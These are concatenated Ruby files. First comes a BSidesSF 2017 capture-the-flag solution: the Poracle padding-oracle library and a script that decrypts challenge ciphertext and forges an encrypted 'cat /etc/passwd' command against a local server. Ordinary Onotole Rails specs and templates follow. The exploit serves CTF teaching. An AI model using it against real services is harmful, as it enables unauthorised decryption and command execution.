BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/solution/Poracle.rb | web/delphi-status/solution/Poracle.rb | ##
# PoracleDecryptor.rb
# Created: December 8, 2012
# By: Ron Bowes
#
# TODO
##
#
class PoracleDecryptor
private
def _generate_set(base_list)
mapping = []
base_list.each do |i|
mapping[i.ord()] = true
end
0.upto(255) do |i|
if(!mapping[i])
base_list << i.chr
end
end
return base_list
end
private
def _find_character_decrypt(character, block, previous, plaintext, character_set)
# First, generate a good C' (C prime) value, which is what we're going to
# set the previous block to. It's the plaintext we have so far, XORed with
# the expected padding, XORed with the previous block. This is like the
# ketchup in the secret sauce.
blockprime = "\0" * @blocksize
(@blocksize - 1).step(character + 1, -1) do |i|
blockprime[i] = (plaintext[i].ord() ^ (@blocksize - character) ^ previous[i].ord()).chr
end
# Try all possible characters in the set (hopefully the set is exhaustive)
character_set.each do |current_guess|
# Calculate the next character of C' based on tghe plaintext character we
# want to guess. This is the mayo in the secret sauce.
blockprime[character] = ((@blocksize - character) ^ previous[character].ord() ^ current_guess.ord()).chr
# Ask the mod to attempt to decrypt the string. This is the last
# ingredient in the secret sauce - the relish, as it were.
result = @do_decrypt.call(blockprime + block)
# If it successfully decrypted, we found the character!
if(result)
# Validate the result if we're working on the last character
false_positive = false
if(character == @blocksize - 1)
# Modify the second-last character in any way (we XOR with 1 for
# simplicity)
blockprime[character - 1] = (blockprime[character - 1].ord() ^ 1).chr
# If the decryption fails, we hit a false positive!
if(!@do_decrypt.call(blockprime + block))
if(@verbose)
puts("Hit a false positive!")
end
false_positive = true
end
end
# If it's not a false positive, return the character we just found
if(!false_positive)
return current_guess
end
end
end
raise("Couldn't find a valid encoding!")
end
private
def _do_block_decrypt(block, previous, has_padding = false, character_set = nil)
# It doesn't matter what we default the plaintext to, as long as it's long
# enough
plaintext = "\0" * @blocksize
# Loop through the string from the end to the beginning
(block.length - 1).step(0, -1) do |character|
# When character is below 0, we've arrived at the beginning of the string
if(character >= block.length)
raise("Could not decode!")
end
# Try to be intelligent about which character we guess first, to save
# requests
set = nil
if(character == block.length - 1 && has_padding)
# For the last character of a block with padding, guess the padding
set = _generate_set([1.chr])
elsif(has_padding && character >= block.length - plaintext[block.length - 1].ord())
# If we're still in the padding, guess the proper padding value (it's
# known)
set = _generate_set([plaintext[block.length - 1]])
elsif(character_set)
# If the module provides a character_set, use that
set = _generate_set(character_set)
else
# Otherwise, use a common English ordering that I generated based on
# the Battlestar Galactica wikia page (yes, I'm serious :) )
set = _generate_set(' eationsrlhdcumpfgybw.k:v-/,CT0SA;B#G2xI1PFWE)3(*M\'!LRDHN_"9UO54Vj87q$K6zJY%?Z+=@QX&|[]<>^{}'.chars.to_a)
end
# Break the current character (this is the secret sauce)
c = _find_character_decrypt(character, block, previous, plaintext, set)
plaintext[character] = c
if(@verbose)
puts(plaintext)
end
end
return plaintext
end
public
def decrypt(data, iv = nil, character_set = nil)
# Default to a nil IV
if(iv.nil?)
iv = "\x00" * @blocksize
end
# Add the IV to the start of the encrypted string (for simplicity)
data = iv + data
blockcount = data.length / @blocksize
# Validate the blocksize
if(data.length % @blocksize != 0)
puts("Encrypted data isn't a multiple of the blocksize! Is this a block cipher?")
end
# Tell the user what's going on
if(@verbose)
puts("> Starting Poracle decrypter")
puts(">> Encrypted length: %d" % data.length)
puts(">> Blocksize: %d" % @blocksize)
puts(">> %d blocks:" % blockcount)
end
# Split the data into blocks
blocks = data.unpack("a#{@blocksize}" * blockcount)
i = 0
blocks.each do |b|
i = i + 1
if(@verbose)
puts(">>> Block #{i}: #{b.unpack("H*")}")
end
end
# Decrypt all the blocks - from the last to the first (after the IV).
# This can actually be done in any order.
result = ''
is_last_block = true
(blocks.size - 1).step(1, -1) do |j|
# Process this block - this is where the magic happens
new_result = _do_block_decrypt(blocks[j], blocks[j - 1], is_last_block, character_set)
if(new_result.nil?)
return nil
end
is_last_block = false
result = new_result + result
if(@verbose)
puts(" --> #{result}")
end
end
# Validate and remove the padding
pad_bytes = result[result.length - 1].chr
if(result[result.length - pad_bytes.ord(), result.length - 1] != pad_bytes * pad_bytes.ord())
puts("Bad padding:")
puts(result.unpack("H*"))
return nil
end
# Remove the padding
result = result[0, result.length - pad_bytes.ord()]
return result
end
private
def _find_character_encrypt(index, result, next_block)
# Make sure sanity is happening
if(next_block.length() != @blocksize)
raise("Block is the wrong size!")
end
# Save us from having to calculate
padding_chr = (@blocksize - index).chr()
# Create as much of a block as we can, with the proper padding
block = "\0" * @blocksize
index.upto(@blocksize - 1) do |i|
block[i] = (padding_chr.ord() ^ result[i].ord()).chr()
end
0.upto(255) do |c|
block[index] = (padding_chr.ord() ^ next_block[index].ord() ^ c).chr
# Attempt to decrypt the string. This is the last ingredient in the
# secret sauce - the relish, as it were.
if(@do_decrypt.call(block + next_block))
return (block[index].ord() ^ padding_chr.ord()).chr()
end
end
raise("Couldn't find a valid encoding!")
end
private
def _get_block_encrypt(block, next_block)
# It doesn't matter what we default the result to, as long as it's long
# enough
result = "\0" * @blocksize
# Loop through the string from the end to the beginning
(@blocksize - 1).step(0, -1) do |index|
result[index] = _find_character_encrypt(index, result, next_block)
if(@verbose)
puts('Current string => %s' % (result+next_block).unpack('H*'))
end
end
0.upto(@blocksize - 1) do |i|
result[i] = (result[i].ord() ^ block[i].ord()).chr()
end
return result
end
public
def encrypt(data)
# Add the IV to the start of the encrypted string (for simplicity)
blockcount = (data.length / @blocksize) + 1
# Add the padding
padding_bytes = @blocksize - (data.length % @blocksize)
data = data + (padding_bytes.chr() * padding_bytes)
# Tell the user what's going on
if(@verbose)
puts("> Starting Poracle encryptor")
puts(">> Encrypted length: %d" % data.length)
puts(">> Blocksize: %d" % @blocksize)
puts(">> %d blocks:" % blockcount)
end
# Split the data into blocks
data_blocks = data.unpack("a#{@blocksize}" * blockcount)
# The 'final' block can be defaulted to anything
last_block = (0...@blocksize).map { rand(255).chr }.join
result = last_block
data_blocks.reverse().each do |b|
last_block = _get_block_encrypt(b, last_block)
result = last_block + result
if(@verbose)
puts(">>> #{result.unpack("H*")}")
end
end
return result
end
def initialize(blocksize, verbose = false)
@blocksize = blocksize
@verbose = verbose
@do_decrypt = proc
end
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/web/delphi-status/solution/DelphiSolution.rb | web/delphi-status/solution/DelphiSolution.rb | ##
# Demo.rb
# Created: February 10, 2013
# By: Ron Bowes
#
# A demo of how to use Poracle, that works against RemoteTestServer.
##
#
require 'httparty'
require './Poracle'
BLOCKSIZE = 16
poracle = PoracleDecryptor.new(BLOCKSIZE, true) do |data|
url = "http://localhost:8080/execute/#{data.unpack("H*").pop}"
result = HTTParty.get(url)
result.parsed_response.force_encoding('ASCII-8BIT') !~ /Failed to decrypt/
end
result = poracle.decrypt(['7b6c179c04ba05dd54e8db9fe5790eb488ed79ef3d58f4361461d9c470340686071e8d11e7b5fd9410d9814c864c2f8f892726676e4f670ddc85244bed32398e7055d447fc2d38c04d6d4dfed1d2d552f55465e5d71dee3273b964a3cafd71fc'].pack('H*'), ['d11b12a22774581421e2bde33571b89a'].pack('H*'))
puts("-----------------------------")
puts("Decryption result")
puts("-----------------------------")
puts result
puts("-----------------------------")
puts()
result = poracle.encrypt('cat /etc/passwd')
blockcount = (result.length / BLOCKSIZE) + 1
blocks = result.unpack("a#{BLOCKSIZE}" * blockcount)
puts("-----------------------------")
puts("Result, if you control the IV:")
puts("-----------------------------")
puts("IV = %s" % blocks[0].unpack('H*'))
puts("Data = %s" % blocks[1..-1].join('').unpack('H*'))
puts()
puts("-----------------------------")
puts("Result, if you don't control the IV (note: will start with garbage):")
puts("-----------------------------")
puts(result.unpack('H*'))
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/spec_helper.rb | spec/spec_helper.rb | # frozen_string_literal: true
require 'bundler/setup'
Bundler.require(:default, :test)
require (Pathname.new(__FILE__).dirname + '../lib/onotole').expand_path
Dir['./spec/support/**/*.rb'].each { |file| require file }
RSpec.configure do |config|
config.include OnotoleTestHelpers
config.before(:all) do
add_fakes_to_path
create_tmp_directory
end
config.before(:each) do
FakeGithub.clear!
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/fake_heroku.rb | spec/support/fake_heroku.rb | # frozen_string_literal: true
class FakeHeroku
RECORDER = File.expand_path(File.join('..', '..', 'tmp', 'heroku_commands'), File.dirname(__FILE__))
def initialize(args)
@args = args
end
def run!
puts 'heroku-pipelines@0.29.0' if @args.first == 'plugins'
File.open(RECORDER, 'a') do |file|
file.puts @args.join(' ')
end
end
def self.clear!
FileUtils.rm_rf RECORDER
end
def self.has_gem_included?(project_path, gem_name)
gemfile = File.open(File.join(project_path, 'Gemfile'), 'a')
File.foreach(gemfile).any? do |line|
line.match(/#{Regexp.quote(gem_name)}/)
end
end
def self.has_created_app_for?(environment, flags = nil)
app_name = "#{OnotoleTestHelpers::APP_NAME.dasherize}-#{environment}"
command = if flags
"create #{app_name} #{flags} --remote #{environment}\n"
else
"create #{app_name} --remote #{environment}\n"
end
File.foreach(RECORDER).any? { |line| line == command }
end
def self.has_configured_vars?(remote_name, var)
commands_ran =~ /^config:add #{var}=.+ --remote #{remote_name}\n/
end
def self.has_setup_pipeline_for?(app_name)
commands_ran =~ /^pipelines:create #{app_name} -a #{app_name}-staging --stage staging/ &&
commands_ran =~ /^pipelines:add #{app_name} -a #{app_name}-production --stage production/
end
def self.commands_ran
@commands_ran ||= File.read(RECORDER)
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/fake_github.rb | spec/support/fake_github.rb | # frozen_string_literal: true
class FakeGithub
RECORDER = File.expand_path(File.join('..', '..', 'tmp', 'hub_commands'), File.dirname(__FILE__))
def initialize(args)
@args = args
end
def run!
File.open(RECORDER, 'a') do |file|
file.write @args.join(' ')
end
end
def self.clear!
FileUtils.rm_rf RECORDER
end
def self.has_created_repo?(repo_name)
File.read(RECORDER) == "create #{repo_name}"
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/support/onotole.rb | spec/support/onotole.rb | # frozen_string_literal: true
module OnotoleTestHelpers
APP_NAME = 'dummy_app'
def remove_project_directory
FileUtils.rm_rf(project_path)
end
def create_tmp_directory
FileUtils.mkdir_p(tmp_path)
end
def run_onotole(arguments = nil)
# unless !pgsql_db_exist?("#{APP_NAME}_development") || !pgsql_db_exist?("#{APP_NAME}_test")
# allow(STDIN).to receive(:gets) { 'Y' }
# end
Dir.chdir(tmp_path) do
Bundler.with_clean_env do
add_fakes_to_path
`
#{onotole_bin} #{APP_NAME} #{arguments}
`
end
end
end
def drop_dummy_database
if File.exist?(project_path)
Dir.chdir(project_path) do
Bundler.with_clean_env do
`rake db:drop`
end
end
end
end
def add_fakes_to_path
ENV['PATH'] = "#{support_bin}:#{ENV['PATH']}"
end
def project_path
@project_path ||= Pathname.new("#{tmp_path}/#{APP_NAME}")
end
def app_name
OnotoleTestHelpers::APP_NAME
end
private
def tmp_path
@tmp_path ||= Pathname.new("#{root_path}/tmp")
end
def onotole_bin
File.join(root_path, 'bin', 'onotole')
end
def support_bin
File.join(root_path, 'spec', 'fakes', 'bin')
end
def root_path
File.expand_path('../../../', __FILE__)
end
def pgsql_db_exist?(db_name)
system "psql -l | grep #{db_name}"
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/heroku_spec.rb | spec/features/heroku_spec.rb | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Heroku' do
context '--heroku' do
before(:all) do
clean_up
run_onotole('--heroku=true')
end
it 'suspends a project for Heroku' do
allow(Onotole::AppBuilder).to receive(:prevent_double_usage)
app_name = OnotoleTestHelpers::APP_NAME.dasherize
expect(FakeHeroku).to(
have_gem_included(project_path, 'rails_stdout_logging')
)
expect(FakeHeroku).to have_created_app_for('staging')
expect(FakeHeroku).to have_created_app_for('production')
expect(FakeHeroku).to have_configured_vars('staging', "#{app_name.dasherize.upcase}_SECRET_KEY_BASE")
expect(FakeHeroku).to have_configured_vars('production', "#{app_name.dasherize.upcase}_SECRET_KEY_BASE")
expect(FakeHeroku).to have_setup_pipeline_for(app_name)
bin_setup_path = "#{project_path}/bin/setup"
bin_setup = IO.read(bin_setup_path)
expect(bin_setup).to include("heroku join --app #{app_name}-production")
expect(bin_setup).to include("heroku join --app #{app_name}-staging")
expect(bin_setup).to include('git config heroku.remote staging')
expect(File.stat(bin_setup_path)).to be_executable
bin_setup_path = "#{project_path}/bin/setup_review_app"
bin_setup = IO.read(bin_setup_path)
expect(bin_setup).to include("heroku run rake db:migrate --app #{app_name}-staging-pr-$1")
expect(bin_setup).to include("heroku ps:scale worker=1 --app #{app_name}-staging-pr-$1")
expect(bin_setup).to include("heroku restart --app #{app_name}-staging-pr-$1")
expect(File.stat(bin_setup_path)).to be_executable
bin_deploy_path = "#{project_path}/bin/deploy"
bin_deploy = IO.read(bin_deploy_path)
expect(bin_deploy).to include('heroku run rake db:migrate')
expect(File.stat(bin_deploy_path)).to be_executable
readme = IO.read("#{project_path}/README.md")
expect(readme).to include('./bin/deploy staging')
expect(readme).to include('./bin/deploy production')
circle_yml_path = "#{project_path}/circle.yml"
circle_yml = IO.read(circle_yml_path)
expect(circle_yml).to include <<-YML.strip_heredoc
deployment:
staging:
branch: master
commands:
- bin/deploy staging
YML
end
it 'adds app.json file' do
expect(File).to exist("#{project_path}/app.json")
end
it 'includes application name in app.json file' do
app_json_file = IO.read("#{project_path}/app.json")
app_name = OnotoleTestHelpers::APP_NAME.dasherize
expect(app_json_file).to match(/"name":"#{app_name}"/)
end
end
context '--heroku with region flag' do
before(:all) do
clean_up
run_onotole(%(--heroku=true --heroku-flags="--region eu"))
end
it 'suspends a project with extra Heroku flags' do
allow(Onotole::AppBuilder).to receive(:prevent_double_usage)
expect(FakeHeroku).to have_created_app_for('staging', '--region eu')
expect(FakeHeroku).to have_created_app_for('production', '--region eu')
end
end
def clean_up
drop_dummy_database
remove_project_directory
FakeHeroku.clear!
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/new_project_spec.rb | spec/features/new_project_spec.rb | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Suspend a new project with default configuration' do
before(:all) do
drop_dummy_database
remove_project_directory
run_onotole
end
let(:secrets_file) { IO.read("#{project_path}/config/secrets.yml") }
let(:staging_file) { IO.read("#{project_path}/config/environments/staging.rb") }
let(:ruby_version_file) { IO.read("#{project_path}/.ruby-version") }
let(:secrets_file) { IO.read("#{project_path}/config/secrets.yml") }
let(:bin_setup_path) { "#{project_path}/bin/setup" }
let(:newrelic_file) { IO.read("#{project_path}/config/newrelic.yml") }
let(:application_rb) { IO.read("#{project_path}/config/application.rb") }
let(:locales_en_file) { IO.read("#{project_path}/config/locales/en.yml") }
let(:test_rb) { IO.read("#{project_path}/config/environments/test.rb") }
let(:development_rb) { IO.read("#{project_path}/config/environments/development.rb") }
let(:dev_env_file) { IO.read("#{project_path}/config/environments/development.rb") }
it 'ensures project specs pass' do
allow(Onotole::AppBuilder).to receive(:prevent_double_usage)
Dir.chdir(project_path) do
Bundler.with_clean_env do
expect(`rake`).to include('0 failures')
end
end
end
it 'inherits staging config from production' do
config_stub = 'Rails.application.configure do'
expect(staging_file).to match(/^require_relative ("|')production("|')/)
expect(staging_file).to match(/#{config_stub}/), staging_file
end
it 'creates .ruby-version from Onotole .ruby-version' do
expect(ruby_version_file).to eq "#{RUBY_VERSION}\n"
end
it 'copies dotfiles' do
%w(.ctags .env).each do |dotfile|
expect(File).to exist("#{project_path}/#{dotfile}")
end
end
it 'loads secret_key_base from env' do
expect(secrets_file).to match /secret_key_base: <%= ENV\[('|")#{app_name.upcase}_SECRET_KEY_BASE('|")\] %>/
end
it 'adds bin/setup file' do
expect(File).to exist("#{project_path}/bin/setup")
end
it 'makes bin/setup executable' do
expect(File.stat(bin_setup_path)).to be_executable
end
it 'adds support file for action mailer' do
expect(File).to exist("#{project_path}/spec/support/action_mailer.rb")
end
it 'configures capybara-webkit' do
expect(File).to exist("#{project_path}/spec/support/capybara_webkit.rb")
end
it 'adds support file for i18n' do
expect(File).to exist("#{project_path}/spec/support/i18n.rb")
end
# it 'creates good default .hound.yml' do
# hound_config_file = IO.read("#{project_path}/.hound.yml")
# expect(hound_config_file).to include 'enabled: true'
# end
it 'ensures newrelic.yml reads NewRelic license from env' do
expect(newrelic_file).to match(
/license_key: "<%= ENV\["NEW_RELIC_LICENSE_KEY"\] %>"/
)
end
it 'records pageviews through Segment if ENV variable set' do
expect(analytics_partial)
.to include(%(<% if ENV["SEGMENT_KEY"] %>))
expect(analytics_partial)
.to include(%{window.analytics.load("<%= ENV["SEGMENT_KEY"] %>");})
end
it 'raises on unpermitted parameters in all environments' do
expect(application_rb).to match(
/^\s+config.action_controller.action_on_unpermitted_parameters = :raise/
)
end
it 'adds explicit quiet_assets configuration' do
expect(application_rb).to match(/^ +config.quiet_assets = true$/)
end
it 'raises on missing translations in development and test' do
%w(development test).each do |environment|
environment_file = IO.read("#{project_path}/config/environments/#{environment}.rb")
expect(environment_file).to match(
/^ +config.action_view.raise_on_missing_translations = true$/
)
end
end
it 'evaluates en.yml.erb' do
expect(locales_en_file).to match(/application: #{app_name.humanize}/)
end
it 'configs simple_form' do
expect(File).to exist("#{project_path}/config/initializers/simple_form.rb")
end
it 'configs :test email delivery method for development' do
expect(dev_env_file)
.to match(/^ +config.action_mailer.delivery_method = :file$/)
end
it 'uses APPLICATION_HOST, not HOST in the production config' do
prod_env_file = IO.read("#{project_path}/config/environments/production.rb")
expect(prod_env_file).to match /("|')#{app_name.upcase}_APPLICATION_HOST("|')/
expect(prod_env_file).not_to match(/("|')HOST("|')/)
end
# it 'configures language in html element' do
# layout_path = '/app/views/layouts/application.html.erb'
# layout_file = IO.read("#{project_path}#{layout_path}")
# expect(layout_file).to match(/<html lang=("|')en("|')>/)
# end
it 'configs active job queue adapter' do
expect(application_rb).to match(
/^ +config.active_job.queue_adapter = :delayed_job$/
)
expect(test_rb).to match(
/^ +config.active_job.queue_adapter = :inline$/
)
end
it 'configs bullet gem in development' do
expect(development_rb).to match /^ +Bullet.enable = true$/
expect(development_rb).to match /^ +Bullet.bullet_logger = true$/
expect(development_rb).to match /^ +Bullet.rails_logger = true$/
end
it 'configs missing assets to raise in test' do
expect(test_rb).to match(/^ +config.assets.raise_runtime_errors = true$/)
end
it 'adds spring to binstubs' do
expect(File).to exist("#{project_path}/bin/spring")
bin_stubs = %w(rake rails rspec)
bin_stubs.each do |bin_stub|
expect(IO.read("#{project_path}/bin/#{bin_stub}")).to match(/spring/)
end
end
# TODO
# Not actual in current init config. I'll test it when I'll
# write tests for working with flags.
# it 'removes comments and extra newlines from config files' do
# config_files = [
# IO.read("#{project_path}/config/application.rb"),
# IO.read("#{project_path}/config/environment.rb"),
# IO.read("#{project_path}/config/environments/development.rb"),
# IO.read("#{project_path}/config/environments/production.rb"),
# IO.read("#{project_path}/config/environments/test.rb")
# ]
# config_files.each do |file|
# expect(file).not_to match(/.*\s#.*/)
# expect(file).not_to match(/^$\n/)
# end
# end
it 'copies factories.rb' do
expect(File).to exist("#{project_path}/spec/factories.rb")
end
def app_name
OnotoleTestHelpers::APP_NAME
end
def analytics_partial
IO.read("#{project_path}/app/views/application/_analytics.html.erb")
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/features/github_spec.rb | spec/features/github_spec.rb | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'GitHub' do
before do
drop_dummy_database
remove_project_directory
end
it 'suspends a project with --github option' do
repo_name = 'test'
run_onotole("--github=#{repo_name}")
expect(FakeGithub).to have_created_repo(repo_name)
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/spec/adapters/heroku_spec.rb | spec/adapters/heroku_spec.rb | # frozen_string_literal: true
require 'spec_helper'
module Onotole
module Adapters
RSpec.describe Heroku do
it 'sets the heroku remotes' do
setup_file = 'bin/setup'
app_builder = double(app_name: app_name)
allow(app_builder).to receive(:append_file)
Heroku.new(app_builder).set_heroku_remotes
expect(app_builder).to have_received(:append_file)
.with(setup_file, /heroku join --app #{app_name.dasherize}-production/)
expect(app_builder).to have_received(:append_file)
.with(setup_file, /heroku join --app #{app_name.dasherize}-staging/)
end
it 'sets up the heroku specific gems' do
app_builder = double(app_name: app_name)
allow(app_builder).to receive(:inject_into_file)
Heroku.new(app_builder).set_up_heroku_specific_gems
expect(app_builder).to have_received(:inject_into_file)
.with('Gemfile', /rails_stdout_logging/, anything)
end
it 'sets the heroku rails secrets' do
app_builder = double(app_name: app_name)
allow(app_builder).to receive(:run)
Heroku.new(app_builder).set_heroku_rails_secrets
expect(app_builder).to(
have_configured_var('staging', "#{app_name.dasherize.upcase}_SECRET_KEY_BASE")
)
expect(app_builder).to(
have_configured_var('production', "#{app_name.dasherize.upcase}_SECRET_KEY_BASE")
)
end
def have_configured_var(remote_name, var)
have_received(:run).with(/config:add #{var}=.+ --remote #{remote_name}/)
end
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/seeds.rb | templates/seeds.rb | # frozen_string_literal: true
Rails.logger = Logger.new STDOUT
seed_files_list = Dir[File.join(Rails.root, 'db', 'seeds', '*.rb')]
seed_files_list.sort.each_with_index do |seed, i|
load seed
Rails.logger.info "Progress #{i + 1}/#{seed_files_list.length}. Seed #{seed.split('/').last.sub(/.rb$/, '')} loaded"
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/bootstrap_flash_helper.rb | templates/bootstrap_flash_helper.rb | # frozen_string_literal: true
module BootstrapFlashHelper
ALERT_TYPES_MAP = {
notice: :success,
alert: :danger,
error: :danger,
info: :info,
warning: :warning
}.freeze
def bootstrap_flash
safe_join(flash.each_with_object([]) do |(type, message), messages|
next if message.blank? || !message.respond_to?(:to_str)
type = ALERT_TYPES_MAP.fetch(type.to_sym, type)
messages << flash_container(type, message)
end, "\n").presence
end
def flash_container(type, message)
content_tag :div, class: "alert alert-#{type} alert-dismissable" do
button_tag type: 'button', class: 'close', data: { dismiss: 'alert' } do
'×'.html_safe
end.safe_concat(message)
end
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/staging.rb | templates/staging.rb | # frozen_string_literal: true
require_relative 'production'
Mail.register_interceptor(
RecipientInterceptor.new(ENV.fetch('EMAIL_RECIPIENTS'))
)
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/factory_girl_rspec.rb | templates/factory_girl_rspec.rb | # frozen_string_literal: true
RSpec.configure do |config|
config.include FactoryGirl::Syntax::Methods
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/errors.rb | templates/errors.rb | # frozen_string_literal: true
require 'net/http'
require 'net/smtp'
# Example:
# begin
# some http call
# rescue *HTTP_ERRORS => error
# notify_hoptoad error
# end
HTTP_ERRORS = [
EOFError,
Errno::ECONNRESET,
Errno::EINVAL,
Net::HTTPBadResponse,
Net::HTTPHeaderSyntaxError,
Net::ProtocolError,
Timeout::Error
].freeze
SMTP_SERVER_ERRORS = [
IOError,
Net::SMTPAuthenticationError,
Net::SMTPServerBusy,
Net::SMTPUnknownError,
Timeout::Error
].freeze
SMTP_CLIENT_ERRORS = [
Net::SMTPFatalError,
Net::SMTPSyntaxError
].freeze
SMTP_ERRORS = SMTP_SERVER_ERRORS + SMTP_CLIENT_ERRORS
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/devise_rspec.rb | templates/devise_rspec.rb | # frozen_string_literal: true
RSpec.configure do |config|
config.include Devise::TestHelpers, type: :controller
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/rails_helper.rb | templates/rails_helper.rb | # frozen_string_literal: true
ENV['RACK_ENV'] = 'test'
require File.expand_path('../../config/environment', __FILE__)
abort('DATABASE_URL environment variable is set') if ENV['DATABASE_URL']
require 'rspec/rails'
require 'spec_helper'
Dir[Rails.root.join('spec/support/**/*.rb')].sort.each { |file| require file }
module Features
# Extend this module in spec/support/features/*.rb
include Formulaic::Dsl
end
RSpec.configure do |config|
config.include Features, type: :feature
config.infer_base_class_for_anonymous_controllers = false
config.infer_spec_type_from_file_location!
config.use_transactional_fixtures = false
end
ActiveRecord::Migration.maintain_test_schema!
Rails.logger.level = 4
# Improves performance by forcing the garbage collector to run less often.
unless ENV['DEFER_GC'] == '0' || ENV['DEFER_GC'] == 'false'
require 'support/deferred_garbage_collection'
RSpec.configure do |config|
config.before(:all) { DeferredGarbageCollection.start }
config.after(:all) { DeferredGarbageCollection.reconsider }
end
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/kaminari.rb | templates/kaminari.rb | # frozen_string_literal: true
Kaminari.configure do |config|
config.page_method_name = :per_page_kaminari
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/json_encoding.rb | templates/json_encoding.rb | # frozen_string_literal: true
ActiveSupport::JSON::Encoding.time_precision = 0
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/factories.rb | templates/factories.rb | # frozen_string_literal: true
FactoryGirl.define do
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/i18n.rb | templates/i18n.rb | # frozen_string_literal: true
RSpec.configure do |config|
config.include ActionView::Helpers::TranslationHelper
end
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/application_record.rb | templates/application_record.rb | class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end | ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/capybara_webkit.rb | templates/capybara_webkit.rb | # frozen_string_literal: true
Capybara.javascript_driver = :webkit
Capybara::Webkit.configure(&:block_unknown_urls)
| ruby | MIT | 3c14f28863dbbad1a4c5f072b706154e326eb276 | 2026-01-04T17:54:02.890450Z | false |
kvokka/onotole | https://github.com/kvokka/onotole/blob/3c14f28863dbbad1a4c5f072b706154e326eb276/templates/database_cleaner_rspec.rb | templates/database_cleaner_rspec.rb | # frozen_string_literal: true
RSpec.configure do |config|
config.before(:suite) do
